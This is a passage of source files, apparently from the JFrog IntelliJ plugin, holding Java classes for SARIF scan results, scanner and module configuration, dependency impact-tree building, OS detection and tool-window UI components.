setCodeFlows(List<CodeFlow> codeFlows) {\n        this.codeFlows = codeFlows;\n    }\n\n    @Override\n    public int hashCode() {\n        return Objects.hash(locations, message, ruleId, codeFlows);\n    }\n\n    @Override\n    public boolean equals(Object other) {\n        if (other == this) {\n            return true;\n        }\n        if (!(other instanceof SarifResult)) {\n            return false;\n        }\n        SarifResult rhs = ((SarifResult) other);\n        return ((((CollectionUtils.isEqualCollection(this.locations, rhs.locations)) && (Objects.equals(this.message, rhs.message))) && (Objects.equals(this.ruleId, rhs.ruleId))) && (CollectionUtils.isEqualCollection(this.codeFlows, rhs.codeFlows)));\n    }\n\n    public boolean isNotSuppressed() {\n        return ArrayUtils.isEmpty(suppressions);\n    }\n}\n"
  },
  {
    "path": "src/main/java/com/jfrog/ide/idea/scan/data/ScanConfig.java",
    "content": "package com.jfrog.ide.idea.scan.data;\n\nimport com.fasterxml.jackson.annotation.JsonProperty;\nimport com.jfrog.ide.common.nodes.subentities.SourceCodeScanType;\nimport lombok.Getter;\nimport lombok.ToString;\n\nimport java.util.ArrayList;\nimport java.util.List;\n\n@Getter\n@ToString\npublic class ScanConfig {\n    @JsonProperty(\"type\")\n    private SourceCodeScanType scanType;\n    @JsonProperty(\"language\")\n    private String language;\n    @JsonProperty(\"roots\")\n    private List<String> roots;\n    @JsonProperty(\"output\")\n    private String output;\n    @JsonProperty(\"grep-disable\")\n    private Boolean grepDisable;\n    @JsonProperty(\"cve-whitelist\")\n    private List<String> cves;\n    @JsonProperty(\"skipped-folders\")\n    private List<String> skippedFolders;\n    @JsonProperty(\"excluded-rules\")\n    private List<String> excludedRules;\n\n    @SuppressWarnings(\"unused\")\n    ScanConfig() {\n    }\n\n    ScanConfig(Builder builder) {\n        this.scanType = builder.scanType;\n        this.language = builder.language;\n        this.roots = builder.roots;\n        this.output = builder.output;\n        this.cves = builder.cves;\n        this.grepDisable = builder.grepDisable;\n        this.skippedFolders = builder.skippedFolders;\n        this.excludedRules = builder.excludedRules;\n    }\n\n    @SuppressWarnings(\"unused\")\n    public SourceCodeScanType getScanType() {\n        return scanType;\n    }\n\n    @SuppressWarnings(\"unused\")\n    public void setScanType(SourceCodeScanType scanType) {\n        this.scanType = scanType;\n    }\n\n    public void setLanguage(String language) {\n        this.language = language;\n    }\n\n    @SuppressWarnings(\"unused\")\n    public void setRoots(List<String> roots) {\n        this.roots = roots;\n    }\n\n    @SuppressWarnings(\"unused\")\n    public void setOutput(String output) {\n        this.output = output;\n    }\n\n    @SuppressWarnings(\"unused\")\n    public Boolean getGrepDisable() {\n        return grepDisable;\n    }\n\n    @SuppressWarnings(\"unused\")\n    public void setGrepDisable(Boolean grepDisable) {\n        this.grepDisable = grepDisable;\n    }\n\n    @SuppressWarnings(\"unused\")\n    public List<String> getCves() {\n        return cves;\n    }\n\n    @SuppressWarnings(\"unused\")\n    public void setCves(List<String> cves) {\n        this.cves = cves;\n    }\n\n    @SuppressWarnings(\"unused\")\n    public List<String> getSkippedFolders() {\n        return skippedFolders;\n    }\n\n    @SuppressWarnings(\"unused\")\n    public void setSkippedFolders(List<String> skippedFolders) {\n        this.skippedFolders = skippedFolders;\n    }\n\n    public static class Builder {\n        private SourceCodeScanType scanType;\n        private String language;\n        private List<String> roots;\n        private String output;\n        private Boolean grepDisable;\n        private List<String> cves;\n        private List<String> skippedFolders;\n        private List<String> excludedRules;\n\n        public Builder() {\n            roots = new ArrayList<>();\n            cves = new ArrayList<>();\n            skippedFolders = new ArrayList<>();\n            excludedRules = new ArrayList<>();\n        }\n\n        @SuppressWarnings(\"UnusedReturnValue\")\n        public Builder scanType(SourceCodeScanType scanType) {\n            this.scanType = scanType;\n            return this;\n        }\n\n        public Builder language(String language) {\n            this.language = language;\n            return this;\n        }\n\n        public Builder roots(List<String> roots) {\n            this.roots = roots;\n            return this;\n        }\n\n        @SuppressWarnings(\"UnusedReturnValue\")\n        public Builder output(String output) {\n            this.output = output;\n            return this;\n        }\n\n        @SuppressWarnings(\"unused\")\n        public Builder grepDisable(Boolean grepDisable) {\n            this.grepDisable = grepDisable;\n            return this;\n        }\n\n        public Builder cves(List<String> cves) {\n            this.cves = cves;\n            return this;\n        }\n\n        @SuppressWarnings(\"unused\")\n        public Builder skippedFolders(List<String> skippedFolders) {\n            this.skippedFolders = skippedFolders;\n            return this;\n        }\n\n        @SuppressWarnings(\"unused\")\n        public Builder excludedRules(List<String> excludedRules) {\n            this.excludedRules = excludedRules;\n            return this;\n        }\n\n        public ScanConfig Build() {\n            return new ScanConfig(this);\n        }\n    }\n}"
  },
  {
    "path": "src/main/java/com/jfrog/ide/idea/scan/data/ScansConfig.java",
    "content": "package com.jfrog.ide.idea.scan.data;\n\nimport com.fasterxml.jackson.annotation.JsonProperty;\nimport lombok.Getter;\n\nimport java.util.List;\n\n@Getter\npublic class ScansConfig {\n    @JsonProperty(\"scans\")\n    private List<ScanConfig> scans;\n\n    @SuppressWarnings(\"unused\")\n    public ScansConfig() {\n    }\n\n    public ScansConfig(List<ScanConfig> scans) {\n        this.scans = scans;\n    }\n\n    @SuppressWarnings(\"unused\")\n    public void setScans(List<ScanConfig> scans) {\n        this.scans = scans;\n    }\n}"
  },
  {
    "path": "src/main/java/com/jfrog/ide/idea/scan/data/ThreadFlow.java",
    "content": "package com.jfrog.ide.idea.scan.data;\n\nimport com.fasterxml.jackson.annotation.JsonProperty;\nimport org.apache.commons.collections4.CollectionUtils;\n\nimport java.util.ArrayList;\nimport java.util.List;\nimport java.util.Objects;\n\npublic class ThreadFlow {\n\n    @JsonProperty(\"locations\")\n    private List<ThreadFlowLocation> locations = new ArrayList<>();\n\n    @SuppressWarnings({\"unused\"})\n    public List<ThreadFlowLocation> getLocations() {\n        return locations;\n    }\n\n    @SuppressWarnings(\"unused\")\n    public void setLocations(List<ThreadFlowLocation> locations) {\n        this.locations = locations;\n    }\n\n    @Override\n    public int hashCode() {\n        return Objects.hash(locations);\n    }\n\n    @Override\n    public boolean equals(Object other) {\n        if (other == this) {\n            return true;\n        }\n        if (!(other instanceof ThreadFlow)) {\n            return false;\n        }\n        ThreadFlow rhs = ((ThreadFlow) other);\n        return (CollectionUtils.isEqualCollection(this.locations, rhs.locations));\n    }\n\n}\n"
  },
  {
    "path": "src/main/java/com/jfrog/ide/idea/scan/data/ThreadFlowLocation.java",
    "content": "package com.jfrog.ide.idea.scan.data;\n\nimport com.fasterxml.jackson.annotation.JsonProperty;\n\nimport java.util.Objects;\n\npublic class ThreadFlowLocation {\n\n    @JsonProperty(\"location\")\n    private Location location;\n\n    @SuppressWarnings(\"unused\")\n    public Location getLocation() {\n        return location;\n    }\n\n    @SuppressWarnings(\"unused\")\n    public void setLocation(Location location) {\n        this.location = location;\n    }\n\n    @Override\n    public int hashCode() {\n        return Objects.hash(location);\n    }\n\n    @Override\n    public boolean equals(Object other) {\n        if (other == this) {\n            return true;\n        }\n        if (!(other instanceof ThreadFlowLocation)) {\n            return false;\n        }\n        ThreadFlowLocation rhs = ((ThreadFlowLocation) other);\n        return (Objects.equals(this.location, rhs.location));\n    }\n\n}\n"
  },
  {
    "path": "src/main/java/com/jfrog/ide/idea/scan/data/Tool.java",
    "content": "package com.jfrog.ide.idea.scan.data;\n\nimport com.fasterxml.jackson.annotation.JsonProperty;\n\nimport java.util.Objects;\n\npublic class Tool {\n\n    @JsonProperty(\"driver\")\n    private Driver driver;\n\n    @SuppressWarnings(\"unused\")\n    public Driver getDriver() {\n        return driver;\n    }\n\n    @SuppressWarnings(\"unused\")\n    public void setDriver(Driver driver) {\n        this.driver = driver;\n    }\n\n    @Override\n    public int hashCode() {\n        return Objects.hash(driver);\n    }\n\n    @Override\n    public boolean equals(Object other) {\n        if (other == this) {\n            return true;\n        }\n        if (!(other instanceof Tool)) {\n            return false;\n        }\n        Tool rhs = ((Tool) other);\n        return (Objects.equals(this.driver, rhs.driver));\n    }\n\n}\n"
  },
  {
    "path": "src/main/java/com/jfrog/ide/idea/scan/data/WorkingDirectory.java",
    "content": "package com.jfrog.ide.idea.scan.data;\n\nimport com.fasterxml.jackson.annotation.JsonProperty;\n\nimport java.util.Objects;\n\npublic class WorkingDirectory {\n\n    @JsonProperty(\"uri\")\n    private String uri;\n\n    @SuppressWarnings(\"unused\")\n    public String getUri() {\n        return uri;\n    }\n\n    @SuppressWarnings(\"unused\")\n    public void setUri(String uri) {\n        this.uri = uri;\n    }\n\n    @Override\n    public int hashCode() {\n        return Objects.hash(uri);\n    }\n\n    @Override\n    public boolean equals(Object other) {\n        if (other == this) {\n            return true;\n        }\n        if (!(other instanceof WorkingDirectory)) {\n            return false;\n        }\n        WorkingDirectory rhs = ((WorkingDirectory) other);\n        return (Objects.equals(this.uri, rhs.uri));\n    }\n}\n"
  },
  {
    "path": "src/main/java/com/jfrog/ide/idea/scan/data/applications/JFrogApplicationsConfig.java",
    "content": "package com.jfrog.ide.idea.scan.data.applications;\n\nimport com.fasterxml.jackson.annotation.JsonProperty;\nimport com.intellij.openapi.project.Project;\nimport com.jfrog.ide.idea.configuration.GlobalSettings;\nimport com.jfrog.ide.idea.scan.utils.ScanUtils;\nimport lombok.Getter;\nimport lombok.NoArgsConstructor;\n\nimport java.nio.file.Path;\nimport java.util.ArrayList;\nimport java.util.List;\nimport java.util.Set;\n\nimport static com.jfrog.ide.idea.scan.SourceCodeScannerManager.convertToSkippedFolders;\n\n@Getter\n@NoArgsConstructor\npublic class JFrogApplicationsConfig {\n    @JsonProperty(\"version\")\n    private String version;\n    @JsonProperty(\"modules\")\n    private List<ModuleConfig> modules;\n\n    public static JFrogApplicationsConfig createApplicationConfigWithDefaultModule(Project project) {\n        JFrogApplicationsConfig applicationsConfig = new JFrogApplicationsConfig();\n        Set<Path> paths = ScanUtils.createScanPaths(project);\n        applicationsConfig.modules = new ArrayList<>();\n\n        for (Path path : paths) {\n            ModuleConfig defaultModuleConfig = new ModuleConfig();\n            defaultModuleConfig.setSourceRoot(path.toString());\n            defaultModuleConfig.setExcludePatterns(convertToSkippedFolders(GlobalSettings.getInstance().getServerConfig().getExcludedPaths()));\n            applicationsConfig.modules.add(defaultModuleConfig);\n        }\n\n        return applicationsConfig;\n    }\n}\n"
  },
  {
    "path": "src/main/java/com/jfrog/ide/idea/scan/data/applications/ModuleConfig.java",
    "content": "package com.jfrog.ide.idea.scan.data.applications;\n\nimport com.fasterxml.jackson.annotation.JsonProperty;\nimport lombok.Getter;\nimport lombok.Setter;\n\nimport java.util.List;\nimport java.util.Map;\n\n@Getter\n@Setter\npublic class ModuleConfig {\n    @JsonProperty(\"name\")\n    private String name;\n    @JsonProperty(\"source_root\")\n    private String sourceRoot;\n    @JsonProperty(\"exclude_patterns\")\n    private List<String> excludePatterns;\n    @JsonProperty(\"exclude_scanners\")\n    private List<String> excludeScanners;\n    @JsonProperty(\"scanners\")\n    private Map<String, ScannerConfig> scanners;\n}\n"
  },
  {
    "path": "src/main/java/com/jfrog/ide/idea/scan/data/applications/ScannerConfig.java",
    "content": "package com.jfrog.ide.idea.scan.data.applications;\n\nimport com.fasterxml.jackson.annotation.JsonProperty;\nimport lombok.Getter;\nimport lombok.Setter;\n\nimport java.util.List;\n\n@Getter\n@Setter\npublic class ScannerConfig {\n    @JsonProperty(\"language\")\n    private String language;\n    @JsonProperty(\"working_dirs\")\n    private List<String> workingDirs;\n    @JsonProperty(\"exclude_patterns\")\n    private List<String> excludePatterns;\n    @JsonProperty(\"excluded_rules\")\n    private List<String> excludedRules;\n}\n"
  },
  {
    "path": "src/main/java/com/jfrog/ide/idea/scan/utils/ImpactTreeBuilder.java",
    "content": "package com.jfrog.ide.idea.scan.utils;\n\nimport com.jfrog.ide.common.nodes.DependencyNode;\nimport com.jfrog.ide.common.nodes.DescriptorFileTreeNode;\nimport com.jfrog.ide.common.nodes.FileTreeNode;\nimport com.jfrog.ide.common.nodes.subentities.ImpactTree;\nimport com.jfrog.ide.common.nodes.subentities.ImpactTreeNode;\n\nimport java.util.*;\n\npublic class ImpactTreeBuilder {\n    /**\n     * Builds impact paths for {@link DependencyNode} objects.\n     *\n     * @param vulnerableDependencies a map of component IDs and the {@link DependencyNode} object matching each of them.\n     *                               Impact paths will be built for these DependencyNodes\n     * @param parents                a map of all dependencies and their parents\n     * @param rootId                 the project's root component ID\n     */\n    public static void populateImpactTrees(Map<String, DependencyNode> vulnerableDependencies, Map<String, Set<String>> parents, String rootId) {\n        for (DependencyNode vulnDep : vulnerableDependencies.values()) {\n            walkParents(vulnDep, parents, rootId, Collections.singletonList(vulnDep.getComponentIdWithoutPrefix()));\n        }\n    }\n\n    /**\n     * Walks through a {@link DependencyNode}'s parents to build its impact paths.\n     *\n     * @param depNode         a vulnerable dependency\n     * @param parents         a map of all dependencies and their parents\n     * @param rootId          the project's root component ID\n     * @param path            a path of nodes (represented by their component IDs) from the current parent to the current node\n     */\n    private static void walkParents(DependencyNode depNode, Map<String, Set<String>> parents, String rootId, List<String> path) {\n        String currParentId = path.get(0);\n        if (depNode.getImpactTree() != null && depNode.getImpactTree().getImpactPathsCount() >= ImpactTree.IMPACT_PATHS_LIMIT) {\n            return;\n        }\n        // If we arrived at the root, add the path to the impact tree\n        if (currParentId.equals(rootId)) {\n            addImpactPathToDependencyNode(depNode, path);\n        } else {\n            for (String grandparentId : parents.get(currParentId)) {\n                if (path.contains(grandparentId)) {\n                    continue;\n                }\n                List<String> pathToGrandparent = new ArrayList<>(path);\n                pathToGrandparent.add(0, grandparentId);\n                walkParents(depNode, parents, rootId, pathToGrandparent);\n            }\n        }\n    }\n\n    public static void addImpactPathToDependencyNode(DependencyNode dependencyNode, List<String> path) {\n        if (dependencyNode.getImpactTree() == null) {\n            dependencyNode.setImpactTree(new ImpactTree(new ImpactTreeNode(path.get(0))));\n        }\n        ImpactTree impactTree = dependencyNode.getImpactTree();\n        if (impactTree.getImpactPathsCount() >= ImpactTree.IMPACT_PATHS_LIMIT) {\n            return;\n        }\n        ImpactTreeNode parentImpactTreeNode = impactTree.getRoot();\n        for (int pathNodeIndex = 1; pathNodeIndex < path.size(); pathNodeIndex++) {\n            String currPathNode = path.get(pathNodeIndex);\n            // Find a child of parentImpactTreeNode with a name equals to currPathNode\n            ImpactTreeNode currImpactTreeNode = parentImpactTreeNode.getChildren().stream().filter(impactTreeNode -> impactTreeNode.getName().equals(currPathNode)).findFirst().orElse(null);\n            if (currImpactTreeNode == null) {\n                currImpactTreeNode = new ImpactTreeNode(currPathNode);\n                parentImpactTreeNode.getChildren().add(currImpactTreeNode);\n                if (pathNodeIndex == path.size() - 1) {\n                    // If a new leaf was added, thus a new impact path was added (impact paths don't collide after they split)\n                    impactTree.incImpactPathsCount();\n                }\n            }\n            parentImpactTreeNode = currImpactTreeNode;\n        }\n    }\n}\n"
  },
  {
    "path": "src/main/java/com/jfrog/ide/idea/scan/utils/ScanUtils.java",
    "content": "package com.jfrog.ide.idea.scan.utils;\n\nimport com.google.common.collect.Sets;\nimport com.intellij.openapi.module.Module;\nimport com.intellij.openapi.module.ModuleManager;\nimport com.intellij.openapi.project.Project;\nimport com.intellij.openapi.project.ProjectUtil;\nimport com.intellij.openapi.vfs.VirtualFile;\nimport com.jfrog.ide.common.utils.Utils;\nimport com.jfrog.ide.idea.log.Logger;\nimport org.apache.commons.lang3.StringUtils;\nimport org.apache.commons.lang3.SystemUtils;\n\nimport java.io.IOException;\nimport java.nio.file.Path;\nimport java.util.Set;\n\n/**\n * @author yahavi\n **/\npublic class ScanUtils {\n    /**\n     * This method gets a set of modules from IDEA, and searches for projects to be scanned.\n     *\n     * @param project - the project\n     * @return local scan paths\n     */\n    public static Set<Path> createScanPaths(Project project) {\n        Set<Path> paths = Sets.newHashSet();\n        paths.add(com.jfrog.ide.idea.utils.Utils.getProjectBasePath(project));\n        for (Module module : ModuleManager.getInstance(project).getModules()) {\n            VirtualFile modulePath = ProjectUtil.guessModuleDir(module);\n            if (modulePath != null) {\n                paths.add(modulePath.toNioPath());\n            }\n        }\n        paths = Utils.consolidatePaths(paths);\n        Logger.getInstance().debug(\"Scanning projects in the following paths: \" + paths);\n        return paths;\n    }\n\n    public static String getOSAndArc() throws IOException {\n        String arch = SystemUtils.OS_ARCH;\n        // Windows\n        if (SystemUtils.IS_OS_WINDOWS) {\n            return \"windows-amd64\";\n        }\n        // Mac\n        if (SystemUtils.IS_OS_MAC) {\n            if (StringUtils.equalsAny(arch, \"aarch64\", \"arm64\")) {\n                return \"mac-arm64\";\n            } else {\n                return \"mac-amd64\";\n            }\n        }\n        // Linux\n        if (SystemUtils.IS_OS_LINUX) {\n            switch (arch) {\n                case \"i386\":\n                case \"i486\":\n                case \"i586\":\n                case \"i686\":\n                case \"i786\":\n                case \"x86\":\n                    return \"linux-386\";\n                case \"amd64\":\n                case \"x86_64\":\n                case \"x64\":\n                    return \"linux-amd64\";\n                case \"arm\":\n                case \"armv7l\":\n                    return \"linux-arm\";\n                case \"aarch64\":\n                    return \"linux-arm64\";\n                case \"ppc64\":\n                case \"ppc64le\":\n                    return \"linux-\" + arch;\n            }\n        }\n        throw new IOException(String.format(\"Unsupported OS: %s-%s\", SystemUtils.OS_NAME, arch));\n    }\n}\n"
  },
  {
    "path": "src/main/java/com/jfrog/ide/idea/ui/AbstractJFrogToolWindow.java",
    "content": "package com.jfrog.ide.idea.ui;\n\nimport com.intellij.openapi.Disposable;\nimport com.intellij.openapi.actionSystem.*;\nimport com.intellij.openapi.application.ApplicationManager;\nimport com.intellij.openapi.project.Project;\nimport com.intellij.openapi.ui.SimpleToolWindowPanel;\nimport com.intellij.ui.components.JBPanel;\nimport com.intellij.util.messages.MessageBusConnection;\nimport org.jetbrains.annotations.NotNull;\n\nimport javax.swing.*;\nimport java.awt.*;\n\n/**\n * @author yahavi\n */\npublic abstract class AbstractJFrogToolWindow extends SimpleToolWindowPanel implements Disposable {\n    final MessageBusConnection projectBusConnection;\n    final MessageBusConnection appBusConnection;\n    final Project project;\n\n    /**\n     * @param project   - Currently opened IntelliJ project\n     */\n    public AbstractJFrogToolWindow(@NotNull Project project) {\n        super(true);\n        this.projectBusConnection = project.getMessageBus().connect(this);\n        this.appBusConnection = ApplicationManager.getApplication().getMessageBus().connect(this);\n        this.project = project;\n    }\n\n    /**\n     * Create the action toolbar. That is the top toolbar.\n     *\n     * @return the action toolbar\n     */\n    abstract JPanel createActionToolbar();\n\n    /**\n     * Clear the component tree.\n     */\n    abstract void resetViews();\n\n    JPanel createJFrogToolbar(ActionGroup actionGroup) {\n        ActionToolbar actionToolbar = ActionManager.getInstance().createActionToolbar(\"JFrog toolbar\", actionGroup, true);\n        actionToolbar.setTargetComponent(this);\n        JPanel toolbarPanel = new JBPanel<>(new FlowLayout(FlowLayout.LEFT, 0, 0));\n        toolbarPanel.add(actionToolbar.getComponent());\n        return toolbarPanel;\n    }\n\n    /**\n     * Called after a change in the credentials.\n     */\n    public void onConfigurationChange() {\n        resetViews();\n    }\n\n    @Override\n    public void dispose() {\n        // Disconnect and release resources from the project bus connection\n        projectBusConnection.disconnect();\n        // Disconnect and release resources from the application bus connection\n        appBusConnection.disconnect();\n    }\n}\n"
  },
  {
    "path": "src/main/java/com/jfrog/ide/idea/ui/CiComponentsTree.java",
    "content": "package com.jfrog.ide.idea.ui;\n\nimport com.intellij.openapi.application.ApplicationManager;\nimport com.intellij.openapi.project.Project;\nimport com.intellij.util.messages.MessageBusConnection;\nimport com.jfrog.ide.common.filter.FilterManager;\nimport com.jfrog.ide.common.utils.ProjectsMap;\nimport com.jfrog.ide.idea.events.ProjectEvents;\nimport com.jfrog.ide.idea.ui.menus.ToolbarPopupMenu;\nimport com.jfrog.ide.idea.ui.menus.builds.BuildsMenu;\nimport com.jfrog.ide.idea.ui.menus.filtermanager.CiFilterManager;\nimport com.jfrog.ide.idea.utils.Utils;\nimport org.apache.commons.collections4.CollectionUtils;\nimport org.jetbrains.annotations.NotNull;\nimport org.jfrog.build.extractor.scan.DependencyTree;\n\nimport javax.swing.tree.DefaultTreeModel;\nimport java.util.Map;\nimport java.util.Vector;\n\n/**\n * @author yahavi\n */\npublic class CiComponentsTree extends ComponentsTree {\n    ProjectsMap projects = new ProjectsMap();\n    private BuildsMenu buildsMenu;\n\n    public CiComponentsTree(@NotNull Project project) {\n        super(project);\n    }\n\n    public static CiComponentsTree getInstance(@NotNull Project project) {\n        return project.getService(CiComponentsTree.class);\n    }\n\n    public void setBuildsMenu(BuildsMenu buildsMenu) {\n        this.buildsMenu = buildsMenu;\n    }\n\n    private void populateTree(DependencyTree root) {\n        toolbarPopupMenus.forEach(ToolbarPopupMenu::refresh);\n        setModel(new DefaultTreeModel(root));\n        validate();\n        repaint();\n        setCellRenderer(new ComponentsTreeCellRenderer());\n        buildsMenu.refresh();\n    }\n\n    public void addOnProjectChangeListener(MessageBusConnection busConnection) {\n        busConnection.subscribe(ProjectEvents.ON_SCAN_CI_CHANGE, (ProjectEvents) this::applyFilters);\n    }\n\n    private void appendProjectWhenReady(DependencyTree filteredRoot) {\n        ApplicationManager.getApplication().invokeLater(() -> {\n            if (CollectionUtils.size(filteredRoot.getChildren()) == 1) {\n                appendProject(filteredRoot.getChildren().get(0));\n            } else {\n                appendProject(filteredRoot);\n            }\n        });\n    }\n\n    /**\n     * Apply filters for the given project. If projectKey is null, clean the tree and the builds menu.\n     *\n     * @param projectKey - The project to apply the filters.\n     */\n    public void applyFilters(ProjectsMap.ProjectKey projectKey) {\n        if (projectKey == null) {\n            reset();\n            buildsMenu.refresh();\n            return;\n        }\n        DependencyTree project = projects.get(projectKey);\n        if (project == null) {\n            return;\n        }\n        FilterManager filterManager = CiFilterManager.getInstance(this.project);\n        DependencyTree filteredRoot = filterManager.applyFilters(project);\n        filteredRoot.setIssues(filteredRoot.processTreeIssues());\n        filteredRoot.setViolatedLicenses(filteredRoot.processTreeViolatedLicenses());\n        appendProjectWhenReady(filteredRoot);\n    }\n\n    @Override\n    public void reset() {\n        projects = new ProjectsMap();\n        super.reset();\n    }\n\n    public void applyFiltersForAllProjects() {\n        setModel(null);\n        for (Map.Entry<ProjectsMap.ProjectKey, DependencyTree> entry : projects.entrySet()) {\n            applyFilters(entry.getKey());\n        }\n    }\n\n    public void addScanResults(String projectName, DependencyTree dependencyTree) {\n        projects.put(projectName, dependencyTree);\n    }\n\n    private void appendProject(DependencyTree filteredRoot) {\n        // No projects in tree - Add filtered root as a single project and show only its children.\n        if (getModel() == null) {\n            populateTree(filteredRoot);\n            return;\n        }\n\n        DependencyTree root = (DependencyTree) getModel().getRoot();\n        // One project in tree - Append filtered root and the old root the a new empty parent node.\n        if (root.getUserObject() != null) {\n            DependencyTree newRoot = filteredRoot;\n            if (!Utils.areRootNodesEqual(root, filteredRoot)) {\n                newRoot = new DependencyTree();\n                newRoot.setMetadata(true);\n                newRoot.add(root);\n                newRoot.add(filteredRoot);\n            }\n            populateTree(newRoot);\n            return;\n        }\n\n        // Two or more projects in tree - Append filtered root to the empty parent node.\n        addOrReplace(root, filteredRoot);\n        populateTree(root);\n    }\n\n    private void addOrReplace(DependencyTree root, DependencyTree filteredRoot) {\n        int childIndex = searchNode(root, filteredRoot);\n        if (childIndex >= 0) {\n            root.remove(childIndex);\n        }\n        root.add(filteredRoot);\n    }\n\n    private int searchNode(DependencyTree root, DependencyTree filteredRoot) {\n        Vector<DependencyTree> children = root.getChildren();\n        for (int i = 0; i < children.size(); i++) {\n            if (Utils.areRootNodesEqual(children.get(i), filteredRoot)) {\n                return i;\n            }\n        }\n        return -1;\n    }\n}\n"
  },
  {
    "path": "src/main/java/com/jfrog/ide/idea/ui/ComponentDetails.java",
    "content": "package com.jfrog.ide.idea.ui;\n\nimport com.intellij.ui.HyperlinkLabel;\nimport com.intellij.ui.components.JBPanel;\nimport com.intellij.ui.components.panels.HorizontalLayout;\nimport com.intellij.util.ui.UIUtil;\nimport com.jfrog.ide.common.utils.Utils;\nimport com.jfrog.ide.idea.ui.utils.ComponentUtils;\nimport org.apache.commons.collections4.CollectionUtils;\nimport org.apache.commons.lang3.StringUtils;\nimport org.jfrog.build.extractor.scan.DependencyTree;\nimport org.jfrog.build.extractor.scan.GeneralInfo;\nimport org.jfrog.build.extractor.scan.License;\nimport org.jfrog.build.extractor.scan.Scope;\n\nimport javax.swing.*;\nimport java.awt.*;\nimport java.util.Set;\nimport java.util.stream.Collectors;\n\n/**\n * @author yahavi\n */\npublic class ComponentDetails extends MoreInfoPanel {\n    public ComponentDetails(DependencyTree node) {\n        super();\n        GeneralInfo generalInfo = node.getGeneralInfo();\n        String pkgType = StringUtils.capitalize(generalInfo.getPkgType());\n        if (StringUtils.equalsAny(pkgType, \"Npm\", \"Go\")) {\n            addText(\"Package\", generalInfo.getGroupId());\n        } else {\n            // Maven/Gradle\n            addText(\"Group\", generalInfo.getGroupId());\n            addText(\"Artifact\", generalInfo.getArtifactId());\n        }\n        addText(\"Version\", generalInfo.getVersion());\n        addText(\"Type\", pkgType);\n        addScopes(node.getScopes());\n        addText(\"Path\", generalInfo.getPath());\n        addLicenses(node.getLicenses());\n    }\n\n    private void addScopes(Set<Scope> scopes) {\n        if (scopes.size() == 1 && scopes.contains(new Scope())) {\n            // Don't show 'None' scope if this is the only one scope\n            return;\n        }\n        addText(\"Scopes\", scopes.stream().map(Scope::toString).collect(Collectors.joining(\",\")));\n    }\n\n    private void addLicenses(Set<License> licenses) {\n        if (licenses.isEmpty()) {\n            return;\n        }\n        JPanel licensesPanel = new JBPanel<>(new HorizontalLayout(1));\n        licensesPanel.setBackground(UIUtil.getTableBackground());\n        for (License license : licenses) {\n            if (CollectionUtils.isEmpty(license.getMoreInfoUrl())) {\n                licensesPanel.add(ComponentUtils.createJTextArea(Utils.createLicenseString(license), false));\n                continue;\n            }\n            HyperlinkLabel hyperlinkLabel = new HyperlinkLabel(Utils.createLicenseString(license));\n            hyperlinkLabel.setBackground(UIUtil.getTableBackground());\n            hyperlinkLabel.setHyperlinkTarget(license.getMoreInfoUrl().get(0));\n            licensesPanel.add(hyperlinkLabel);\n        }\n        JLabel headerLabel = createHeaderLabel(\"Licenses:\");\n        GridBagConstraints gridBagConstraints = createGridBagConstraints();\n        add(headerLabel, gridBagConstraints);\n\n        gridBagConstraints.gridx = 1;\n        gridBagConstraints.weightx = 0.9;\n        add(licensesPanel, gridBagConstraints);\n    }\n}\n"
  },
  {
    "path": "src/main/java/com/jfrog/ide/idea/ui/ComponentIssueDetails.java",
    "content": "package com.jfrog.ide.idea.ui;\n\nimport org.apache.commons.lang3.StringUtils;\nimport org.jfrog.build.extractor.scan.DependencyTree;\nimport org.jfrog.build.extractor.scan.Issue;\n\nimport javax.swing.*;\nimport java.awt.*;\n\nimport static com.jfrog.ide.idea.ui.utils.ComponentUtils.replaceAndUpdateUI;\n\n/**\n * @author yahavi\n */\npublic class ComponentIssueDetails extends ComponentDetails {\n\n    private ComponentIssueDetails(DependencyTree node) {\n        super(node);\n        Issue topIssue = node.getTopIssue();\n        addText(\"Top Issue Severity\", StringUtils.capitalize(topIssue.getSeverity().toString()));\n    }\n\n    static void createIssuesDetailsView(JPanel panel, DependencyTree node) {\n        if (node == null || node.getGeneralInfo() == null) {\n            createComponentInfoNotAvailablePanel(panel);\n            return;\n        }\n        replaceAndUpdateUI(panel, new ComponentIssueDetails(node), BorderLayout.NORTH);\n    }\n}\n"
  },
  {
    "path": "src/main/java/com/jfrog/ide/idea/ui/ComponentIssuesTable.java",
    "content": "package com.jfrog.ide.idea.ui;\n\nimport com.google.common.collect.Lists;\nimport com.intellij.ui.table.JBTable;\nimport org.jfrog.build.extractor.scan.DependencyTree;\nimport org.jfrog.build.extractor.scan.Issue;\nimport org.jfrog.build.extractor.scan.Severity;\n\nimport javax.swing.*;\nimport javax.swing.table.TableColumn;\nimport javax.swing.table.TableModel;\nimport javax.swing.table.TableRowSorter;\nimport javax.swing.tree.DefaultMutableTreeNode;\nimport java.util.*;\nimport java.util.stream.Collectors;\n\nimport static com.jfrog.ide.idea.ui.IssuesTableModel.IssueColumn.*;\n\n/**\n * @author yahavi\n */\npublic class ComponentIssuesTable extends JBTable {\n    private List<DependencyTree> selectedNodes = Lists.newArrayList();\n    private IssuesTableSelectionListener selectionListener;\n\n    private static final List<RowSorter.SortKey> SORT_KEYS = Lists.newArrayList(\n            new RowSorter.SortKey(SEVERITY.ordinal(), SortOrder.DESCENDING),\n            new RowSorter.SortKey(COMPONENT.ordinal(), SortOrder.ASCENDING));\n\n    ComponentIssuesTable() {\n        setModel(new IssuesTableModel());\n        setShowGrid(true);\n        setDefaultRenderer(Object.class, new IssuesTableCellRenderer());\n        getTableHeader().setReorderingAllowed(false);\n        setAutoResizeMode(AUTO_RESIZE_OFF);\n        setSelectionMode(ListSelectionModel.SINGLE_SELECTION);\n    }\n\n    public void reset() {\n        updateIssuesTable(new HashSet<>(), new ArrayList<>());\n    }\n\n    public void updateIssuesTable(Set<Issue> selectedIssue, List<DependencyTree> selectedNodes) {\n        this.selectedNodes = selectedNodes;\n        Set<String> selectedNodeNames = selectedNodes.stream().map(DefaultMutableTreeNode::toString).collect(Collectors.toSet());\n        TableModel model = new IssuesTableModel(selectedIssue, selectedNodeNames);\n        TableRowSorter<TableModel> sorter = createTableRowSorter(model, selectedNodeNames);\n        setModel(model);\n        setRowSorter(sorter);\n        resizeTableColumns();\n        resizeAndRepaint();\n    }\n\n    /**\n     * Add mouse click listener on the issues table.\n     *\n     * @param moreInfoPanel - The more info panel\n     */\n    public void addTableSelectionListener(JPanel moreInfoPanel) {\n        if (selectionListener != null) {\n            removeMouseListener(selectionListener);\n            getSelectionModel().removeListSelectionListener(selectionListener);\n        }\n        selectionListener = new IssuesTableSelectionListener(moreInfoPanel, this);\n        addMouseListener(selectionListener);\n       